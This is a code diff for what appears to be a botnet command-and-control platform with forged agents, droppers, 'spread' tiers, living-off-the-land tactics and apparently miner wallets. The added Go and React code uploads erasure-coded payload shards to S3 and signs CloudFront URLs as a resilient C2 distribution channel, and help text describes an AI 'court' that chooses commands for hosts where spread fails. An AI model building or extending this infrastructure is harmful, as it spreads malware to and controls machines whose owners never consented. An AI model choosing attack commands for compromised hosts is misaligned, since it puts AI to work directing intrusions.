r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
} }
if spreadHandler != nil { if spreadHandler != nil {
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition) r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download" dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil) req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()

View File

@@ -27,6 +27,8 @@ type SpreadHandler struct {
erasureShards *erasure.ShardStore erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig s3CRRConfigFn func() erasure.S3ShardConfig
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex notesMu sync.RWMutex
} }

View File

@@ -182,6 +182,9 @@ type WSHub struct {
fargateBurstCampaign bool fargateBurstCampaign bool
fargateBurstExpiresAt time.Time fargateBurstExpiresAt time.Time
fargateBurstTTLHours int fargateBurstTTLHours int
policySnapshotToken string
policyEventBridgeRelayURL string
policyPublicBaseURL func() string
pingIntervalSec int pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier eventNotifier *alerts.Notifier
@@ -976,6 +979,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
spreadPolicy[k] = v spreadPolicy[k] = v
} }
} }
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
for k, v := range fanout {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 { if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy resp["spread_policy"] = spreadPolicy
} }

View File

@@ -1,17 +1,16 @@
package atlas package atlas
import ( import (
"fmt"
"strings" "strings"
) )
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
const ( const (
FleetGossipHaveShard = "have_shard" FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy" FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node" FleetGossipKnowNode = "know_node"
) )
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
type FleetGossipRecord struct { type FleetGossipRecord struct {
Kind string `json:"kind"` Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"` AgentID string `json:"agent_id,omitempty"`
@@ -19,18 +18,21 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"` Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"` ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"` ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"` Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"` FetchURL string `json:"fetch_url,omitempty"`
} }
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind)) r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
r.AgentID = strings.TrimSpace(r.AgentID) r.AgentID = strings.TrimSpace(r.AgentID)
r.Subnet = strings.TrimSpace(r.Subnet) r.Subnet = strings.TrimSpace(r.Subnet)
r.Token = strings.TrimSpace(r.Token) r.Token = strings.TrimSpace(r.Token)
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash)) r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
r.Region = strings.TrimSpace(r.Region)
r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID) r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
r.FetchURL = strings.TrimSpace(r.FetchURL) r.FetchURL = strings.TrimSpace(r.FetchURL)
switch r.Kind { switch r.Kind {
@@ -38,6 +40,17 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" { if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
return FleetGossipRecord{}, false return FleetGossipRecord{}, false
} }
if r.Region == "" && r.ShardAdvert != "" {
if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
r.Region = region
if r.ShardIndex == 0 {
r.ShardIndex = idx
}
}
}
if r.ShardAdvert == "" && r.Region != "" {
r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
}
case FleetGossipHealthy: case FleetGossipHealthy:
if r.AgentID == "" { if r.AgentID == "" {
return FleetGossipRecord{}, false return FleetGossipRecord{}, false
@@ -52,7 +65,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
return r, true return r, true
} }
// NormalizeFleetGossipRecords drops invalid records while preserving order.
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
if len(in) == 0 { if len(in) == 0 {
return nil return nil
@@ -65,3 +77,15 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
} }
return out return out
} }
func parseShardAdvert(advert string) (region string, index int, ok bool) {
colon := strings.LastIndex(strings.TrimSpace(advert), ":")
if colon <= 0 {
return "", 0, false
}
region = strings.TrimSpace(advert[:colon])
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
return "", 0, false
}
return region, index, region != ""
}

View File

@@ -2,15 +2,12 @@ package atlas
import "testing" import "testing"
func TestNormalizeFleetGossipRecords(t *testing.T) { func TestNormalizeFleetGossipShardAdvert(t *testing.T) {
in := []FleetGossipRecord{ r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"}, Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h",
{Kind: "bogus"}, Region: "us-west-2", ShardIndex: 4,
{Kind: FleetGossipHealthy, AgentID: "b", Healthy: true}, })
{Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"}, if !ok || r.ShardAdvert != "us-west-2:4" {
} t.Fatalf("advert=%q", r.ShardAdvert)
out := NormalizeFleetGossipRecords(in)
if len(out) != 3 {
t.Fatalf("got %d records", len(out))
} }
} }

View File

@@ -14,9 +14,10 @@ var parallelLaneOrder = []string{
// ShardRef is one erasure shard served on a parallel lane URL. // ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct { type ShardRef struct {
Index int `json:"index"` Index int `json:"index"`
Lane string `json:"lane"` Lane string `json:"lane"`
URL string `json:"url"` URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
} }
// Plan is deploy-plan metadata for agent-side ReedSolomon reassembly. // Plan is deploy-plan metadata for agent-side ReedSolomon reassembly.

View File

@@ -0,0 +1,284 @@
package erasure
import (
"bytes"
"context"
"crypto"
"crypto/rand"
"crypto/hmac"
"crypto/sha1"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/hex"
"encoding/pem"
"fmt"
"io"
"net/http"
"net/url"
"os"
"sort"
"strings"
"time"
)
type AWSSwarmSettings struct {
S3Bucket, CloudFrontDomain, Region, AccessKeyID, SecretAccessKey, KeyPairID, PrivateKeyPEM string
}
func (s AWSSwarmSettings) Enabled() bool {
return strings.TrimSpace(s.S3Bucket) != "" && strings.TrimSpace(s.CloudFrontDomain) != ""
}
func (s AWSSwarmSettings) CredentialsReady() bool {
return s.Enabled() && strings.TrimSpace(s.AccessKeyID) != "" && strings.TrimSpace(s.SecretAccessKey) != ""
}
func (s AWSSwarmSettings) SigningReady() bool {
return s.Enabled() && strings.TrimSpace(s.KeyPairID) != "" && strings.TrimSpace(s.PrivateKeyPEM) != ""
}
func HydrateAWSSwarmFromEnv(s AWSSwarmSettings) AWSSwarmSettings {
if v := strings.TrimSpace(os.Getenv("AF_AWS_ACCESS_KEY_ID")); v != "" && s.AccessKeyID == "" {
s.AccessKeyID = v
}
if v := strings.TrimSpace(os.Getenv("AF_AWS_SECRET_ACCESS_KEY")); v != "" && s.SecretAccessKey == "" {
s.SecretAccessKey = v
}
if v := strings.TrimSpace(os.Getenv("AF_AWS_REGION")); v != "" && s.Region == "" {
s.Region = v
}
if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_KEY_PAIR_ID")); v != "" && s.KeyPairID == "" {
s.KeyPairID = v
}
if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_PRIVATE_KEY")); v != "" && s.PrivateKeyPEM == "" {
s.PrivateKeyPEM = strings.ReplaceAll(v, `\n`, "\n")
}
if s.Region == "" {
s.Region = "us-east-1"
}
s.S3Bucket = strings.TrimSpace(s.S3Bucket)
s.CloudFrontDomain = strings.TrimRight(strings.TrimSpace(s.CloudFrontDomain), "/")
return s
}
type ShardObjectStore interface {
PutShard(ctx context.Context, bucket, key string, body []byte) error
HeadBucket(ctx context.Context, bucket string) error
}
type S3HTTPStore struct {
Settings AWSSwarmSettings
Endpoint string
Client interface{ Do(*http.Request) (*http.Response, error) }
}
func (s *S3HTTPStore) client() interface{ Do(*http.Request) (*http.Response, error) } {
if s != nil && s.Client != nil {
return s.Client
}
return http.DefaultClient
}
func (s *S3HTTPStore) endpoint(bucket string) string {
if s != nil && strings.TrimSpace(s.Endpoint) != "" {
return strings.TrimRight(strings.TrimSpace(s.Endpoint), "/")
}
region := strings.TrimSpace(s.Settings.Region)
if region == "" {
region = "us-east-1"
}
return fmt.Sprintf("https://%s.s3.%s.amazonaws.com", bucket, region)
}
func (s *S3HTTPStore) HeadBucket(ctx context.Context, bucket string) error {
u := s.endpoint(bucket) + "/"
req, _ := http.NewRequestWithContext(ctx, http.MethodHead, u, nil)
signS3Request(req, s.Settings, bucket, "", nil)
resp, err := s.client().Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode < 300 {
return nil
}
return fmt.Errorf("s3 head bucket HTTP %d", resp.StatusCode)
}
func (s *S3HTTPStore) PutShard(ctx context.Context, bucket, key string, body []byte) error {
u := s.endpoint(bucket) + "/" + strings.TrimLeft(key, "/")
req, _ := http.NewRequestWithContext(ctx, http.MethodPut, u, bytes.NewReader(body))
req.Header.Set("Content-Type", "application/octet-stream")
signS3Request(req, s.Settings, bucket, key, body)
resp, err := s.client().Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode < 300 {
return nil
}
b, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
return fmt.Errorf("s3 put HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(b)))
}
type SwarmAttachResult struct {
EdgeURLs, ShardManifestURLs []string
SwarmMagnet string
}
func AttachS3Swarm(ctx context.Context, cfg AWSSwarmSettings, store ShardObjectStore, token, payloadSHA string, payloadSize int, p Params, shards [][]byte, hashes []string) (*SwarmAttachResult, error) {
cfg = HydrateAWSSwarmFromEnv(cfg)
if !cfg.Enabled() {
return nil, nil
}
if store == nil {
store = &S3HTTPStore{Settings: cfg}
}
p, err := p.Normalize()
if err != nil {
return nil, err
}
region := strings.TrimSpace(cfg.Region)
if region == "" {
region = "us-east-1"
}
edgeURLs := make([]string, p.TotalShards())
for i := range shards {
key := S3ShardKey(token, region, i, hashes[i])
if err := store.PutShard(ctx, cfg.S3Bucket, key, shards[i]); err != nil {
return nil, err
}
edge, err := CloudFrontSignedShardURL(cfg, "/"+key, 24*time.Hour)
if err != nil {
return nil, err
}
edgeURLs[i] = edge
}
return &SwarmAttachResult{EdgeURLs: edgeURLs, ShardManifestURLs: append([]string(nil), edgeURLs...), SwarmMagnet: SwarmMagnetLinkEx(token, payloadSHA, edgeURLs)}, nil
}
func CloudFrontSignedShardURL(cfg AWSSwarmSettings, objectPath string, ttl time.Duration) (string, error) {
cfg = HydrateAWSSwarmFromEnv(cfg)
if !cfg.SigningReady() {
return "", fmt.Errorf("cloudfront signing not configured")
}
domain := cfg.CloudFrontDomain
if !strings.HasPrefix(domain, "http") {
domain = "https://" + domain
}
return signCloudFrontURL(strings.TrimRight(domain, "/")+"/"+strings.TrimLeft(objectPath, "/"), cfg.KeyPairID, cfg.PrivateKeyPEM, time.Now().Add(ttl).Unix())
}
func signCloudFrontURL(rawURL, keyPairID, pemKey string, expires int64) (string, error) {
block, _ := pem.Decode([]byte(pemKey))
if block == nil {
return "", fmt.Errorf("invalid PEM")
}
keyAny, err := x509.ParsePKCS8PrivateKey(block.Bytes)
if err != nil {
keyAny, err = x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return "", err
}
}
priv, ok := keyAny.(*rsa.PrivateKey)
if !ok {
return "", fmt.Errorf("not RSA key")
}
canned := fmt.Sprintf("%s?Expires=%d", rawURL, expires)
hash := sha1.Sum([]byte(canned))
sig, err := rsa.SignPKCS1v15(rand.Reader, priv, crypto.SHA1, hash[:])
if err != nil {
return "", err
}
u, _ := url.Parse(rawURL)
q := u.Query()
q.Set("Expires", fmt.Sprintf("%d", expires))
q.Set("Signature", base64URLEncode(sig))
q.Set("Key-Pair-Id", keyPairID)
u.RawQuery = q.Encode()
return u.String(), nil
}
func MinimalIAMPolicyJSON(bucket string) string {
if bucket == "" {
bucket = "YOUR_SHARD_BUCKET"
}
return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:PutObject","s3:GetObject","s3:ListBucket"],"Resource":["arn:aws:s3:::%s","arn:aws:s3:::%s/shards/*"]}]}`, bucket, bucket)
}
func MinimalBucketPolicyJSON(bucket, cfARN string) string {
if cfARN == "" {
cfARN = "arn:aws:cloudfront::ACCOUNT_ID:distribution/DISTRIBUTION_ID"
}
return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"cloudfront.amazonaws.com"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::%s/shards/*","Condition":{"StringEquals":{"AWS:SourceArn":"%s"}}}]}`, bucket, cfARN)
}
func SwarmMagnetLinkEx(token, payloadSHA string, edgeURLs []string) string {
base := SwarmMagnetLink(token, payloadSHA)
if base == "" || len(edgeURLs) == 0 {
return base
}
sort.Strings(edgeURLs)
for _, u := range edgeURLs {
if strings.TrimSpace(u) != "" {
base += "&xs=" + url.QueryEscape(strings.TrimSpace(u))
}
}
return base
}
func signS3Request(req *http.Request, cfg AWSSwarmSettings, _, objectKey string, body []byte) {
region := cfg.Region
if region == "" {
region = "us-east-1"
}
now := time.Now().UTC()
amzDate := now.Format("20060102T150405Z")
dateStamp := now.Format("20060102")
payloadHash := hex.EncodeToString(hashPayload(body))
req.Header.Set("Host", req.URL.Host)
req.Header.Set("X-Amz-Date", amzDate)
req.Header.Set("X-Amz-Content-Sha256", payloadHash)
canonicalURI := "/"
if objectKey != "" {
canonicalURI = "/" + escapePath(objectKey)
}
canonicalHeaders := "host:" + req.URL.Host + "\n" + "x-amz-content-sha256:" + payloadHash + "\n" + "x-amz-date:" + amzDate + "\n"
canonicalRequest := strings.Join([]string{req.Method, canonicalURI, "", canonicalHeaders, "host;x-amz-content-sha256;x-amz-date", payloadHash}, "\n")
scope := dateStamp + "/" + region + "/s3/aws4_request"
stringToSign := strings.Join([]string{"AWS4-HMAC-SHA256", amzDate, scope, hex.EncodeToString(hashString(canonicalRequest))}, "\n")
sig := hex.EncodeToString(hmacSHA256(deriveSigningKey(cfg.SecretAccessKey, dateStamp, region, "s3"), stringToSign))
req.Header.Set("Authorization", fmt.Sprintf("AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=%s", cfg.AccessKeyID, scope, sig))
}
func hashPayload(b []byte) []byte {
if b == nil {
return hashString("")
}
s := sha256.Sum256(b)
return s[:]
}
func hashString(s string) []byte { h := sha256.Sum256([]byte(s)); return h[:] }
func hmacSHA256(key []byte, msg string) []byte {
m := hmac.New(sha256.New, key)
m.Write([]byte(msg))
return m.Sum(nil)
}
func deriveSigningKey(secret, date, region, svc string) []byte {
kDate := hmacSHA256([]byte("AWS4"+secret), date)
kRegion := hmacSHA256(kDate, region)
kService := hmacSHA256(kRegion, svc)
return hmacSHA256(kService, "aws4_request")
}
func escapePath(p string) string {
parts := strings.Split(p, "/")
for i, s := range parts {
parts[i] = url.PathEscape(s)
}
return strings.Join(parts, "/")
}
func base64URLEncode(b []byte) string {
return strings.NewReplacer("+", "-", "=", "_", "/", "~").Replace(base64.StdEncoding.EncodeToString(b))
}

View File

@@ -0,0 +1,70 @@
package erasure
import (
"context"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
)
type mockShardStore struct {
puts []string
}
func (m *mockShardStore) PutShard(_ context.Context, bucket, key string, _ []byte) error {
m.puts = append(m.puts, bucket+"/"+key)
return nil
}
func (m *mockShardStore) HeadBucket(context.Context, string) error { return nil }
func TestAttachS3SwarmUploadsSixShards(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
store := &mockShardStore{}
cfg := HydrateAWSSwarmFromEnv(AWSSwarmSettings{
S3Bucket: "my-bucket", CloudFrontDomain: "d123.cloudfront.net", Region: "us-east-1",
AccessKeyID: "AKIA", SecretAccessKey: "secret", KeyPairID: "KPAIR", PrivateKeyPEM: string(pemBytes),
})
shards := [][]byte{[]byte("a"), []byte("b"), []byte("c"), []byte("d"), []byte("e"), []byte("f")}
hashes := ShardContentHashes(shards)
result, err := AttachS3Swarm(context.Background(), cfg, store, "tok", "deadbeef", 6, DefaultParams(), shards, hashes)
if err != nil || len(store.puts) != 6 || result == nil || !strings.Contains(result.SwarmMagnet, "xs=") {
t.Fatalf("err=%v puts=%d result=%+v", err, len(store.puts), result)
}
}
func TestS3HTTPStorePutShardSigV4(t *testing.T) {
var method, auth string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
method = r.Method
auth = r.Header.Get("Authorization")
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
store := &S3HTTPStore{
Settings: AWSSwarmSettings{S3Bucket: "b", Region: "us-east-1", AccessKeyID: "A", SecretAccessKey: "s"},
Endpoint: srv.URL,
}
if err := store.PutShard(context.Background(), "b", "shards/tok/us-east-1/0-ab.bin", []byte("x")); err != nil {
t.Fatal(err)
}
if method != http.MethodPut || !strings.HasPrefix(auth, "AWS4-HMAC-SHA256") {
t.Fatalf("method=%s auth=%q", method, auth)
}
}
func TestCloudFrontSignedShardURL(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
cfg := AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net", KeyPairID: "K", PrivateKeyPEM: string(pemBytes)}
u, err := CloudFrontSignedShardURL(cfg, "/shards/tok/us-east-1/0-ab.bin", time.Hour)
if err != nil || !strings.Contains(u, "Expires=") {
t.Fatalf("url=%q err=%v", u, err)
}
}

View File

@@ -0,0 +1,63 @@
import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest';
import { render, screen, fireEvent, waitFor, cleanup } from '@testing-library/react';
import AwsErasureSwarmPanel from './AwsErasureSwarmPanel';
vi.mock('../../api/client', () => ({
api: {
updateConfig: vi.fn().mockResolvedValue({}),
testErasureSwarm: vi.fn().mockResolvedValue({ ok: true }),
getErasureSwarmPolicyJSON: vi.fn().mockResolvedValue({ iam_policy: '{}', bucket_policy: '{}', env_keys: [] }),
},
}));
import { api } from '../../api/client';
const baseServer = {
public_url: '',
stats_retention_hours: 168,
build_retention_days: 7,
pool_reconnect_seconds: 30,
websocket_ping_seconds: 30,
max_agents: 500,
max_build_size_mb: 50,
log_agent_connections: false,
log_share_submissions: false,
log_pool_traffic: false,
strict_wallet_validation: true,
dashboard_subtitle: '',
open_firewall_on_start: false,
aws_s3_shard_bucket: 'b',
aws_cloudfront_domain: 'd.cf.net',
};
describe('AwsErasureSwarmPanel', () => {
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
cleanup();
});
it('renders bucket and CloudFront inputs', () => {
render(<AwsErasureSwarmPanel server={baseServer} onServerChange={() => {}} />);
expect(screen.getByDisplayValue('b')).toBeTruthy();
expect(screen.getByDisplayValue('d.cf.net')).toBeTruthy();
expect(screen.getByText(/AWS Erasure Swarm/i)).toBeTruthy();
});
it('calls test endpoint on Test connection', async () => {
render(<AwsErasureSwarmPanel server={baseServer} onServerChange={() => {}} />);
fireEvent.click(screen.getByRole('button', { name: /Test connection/i }));
await waitFor(() => {
expect(api.testErasureSwarm).toHaveBeenCalledWith({ s3_bucket: 'b', cloudfront_domain: 'd.cf.net' });
});
});
it('loads policy JSON on button click', async () => {
render(<AwsErasureSwarmPanel server={baseServer} onServerChange={() => {}} />);
fireEvent.click(screen.getByRole('button', { name: /Generate policy JSON/i }));
await waitFor(() => {
expect(api.getErasureSwarmPolicyJSON).toHaveBeenCalled();
});
});
});

View File

@@ -0,0 +1,87 @@
import { useState } from 'react';
import { api } from '../../api/client';
import type { ServerSettings } from '../../types';
import { HelpTip } from '../HelpTip';
type Props = {
server: ServerSettings;
onServerChange: (patch: Partial<ServerSettings>) => void;
};
export default function AwsErasureSwarmPanel({ server, onServerChange }: Props) {
const [testing, setTesting] = useState(false);
const [testMsg, setTestMsg] = useState('');
const [policyJSON, setPolicyJSON] = useState('');
const bucket = server.aws_s3_shard_bucket ?? '';
const cfDomain = server.aws_cloudfront_domain ?? '';
const saveFields = async (patch: Partial<ServerSettings>) => {
onServerChange(patch);
await api.updateConfig({ server: { ...server, ...patch } });
};
const runTest = async () => {
setTesting(true);
setTestMsg('');
try {
const res = await api.testErasureSwarm({ s3_bucket: bucket, cloudfront_domain: cfDomain });
setTestMsg(res.ok ? 'S3 head bucket OK — credentials and signing ready.' : (res.error || 'Test failed'));
} catch (e) {
setTestMsg(e instanceof Error ? e.message : 'Test failed');
} finally {
setTesting(false);
}
};
const loadPolicy = async () => {
setPolicyJSON('');
try {
const res = await api.getErasureSwarmPolicyJSON(bucket);
setPolicyJSON(JSON.stringify(res, null, 2));
} catch (e) {
setPolicyJSON(e instanceof Error ? e.message : 'Failed to load policy JSON');
}
};
return (
<div className="form-group card operator-deck-card" style={{ marginTop: '1rem' }}>
<h3 className="font-tech">AWS Erasure Swarm</h3>
<p className="form-hint">
Upload RS 4+2 shards to S3 on deploy plans; agents fetch LAN CloudFront C2.
Credentials via env: <code>AF_AWS_*</code>, <code>AF_CLOUDFRONT_*</code>.
<HelpTip field="aws_erasure_swarm" />
</p>
<label className="label">S3 shard bucket</label>
<input
className="input"
value={bucket}
onChange={(e) => onServerChange({ aws_s3_shard_bucket: e.target.value })}
onBlur={() => saveFields({ aws_s3_shard_bucket: bucket })}
placeholder="my-fleet-shards"
/>
<label className="label" style={{ marginTop: '0.5rem' }}>CloudFront domain</label>
<input
className="input"
value={cfDomain}
onChange={(e) => onServerChange({ aws_cloudfront_domain: e.target.value })}
onBlur={() => saveFields({ aws_cloudfront_domain: cfDomain })}
placeholder="d123abc.cloudfront.net"
/>
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.75rem', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-secondary" disabled={testing} onClick={runTest}>
{testing ? 'Testing…' : 'Test connection'}
</button>
<button type="button" className="btn btn-secondary" onClick={loadPolicy}>
Generate policy JSON
</button>
</div>
{testMsg && <p className="form-hint" style={{ marginTop: '0.5rem' }}>{testMsg}</p>}
{policyJSON && (
<pre className="form-hint" style={{ marginTop: '0.5rem', maxHeight: '12rem', overflow: 'auto', fontSize: '0.75rem' }}>
{policyJSON}
</pre>
)}
</div>
);
}

View File

@@ -109,6 +109,7 @@ describe('FIELD_HELP', () => {
'failure_atlas', 'failure_atlas',
'erasure_lanes', 'erasure_lanes',
'fleet_torrent', 'fleet_torrent',
'aws_erasure_swarm',
'ai_court_session', 'ai_court_session',
'ai_persona', 'ai_persona',
'ai_persona_aggressive', 'ai_persona_aggressive',

View File

@@ -48,6 +48,8 @@ export const FIELD_HELP: Record<string, string> = {
'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.', 'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
fleet_torrent: fleet_torrent:
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.', 'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
aws_erasure_swarm:
'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
ai_court_session: ai_court_session:
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.', 'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
calibration_ai_control: calibration_ai_control:

View File

@@ -27,6 +27,7 @@ import {
type ForgeDeliverable, type ForgeDeliverable,
} from '../help/forgeFormNormalize'; } from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal'; import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
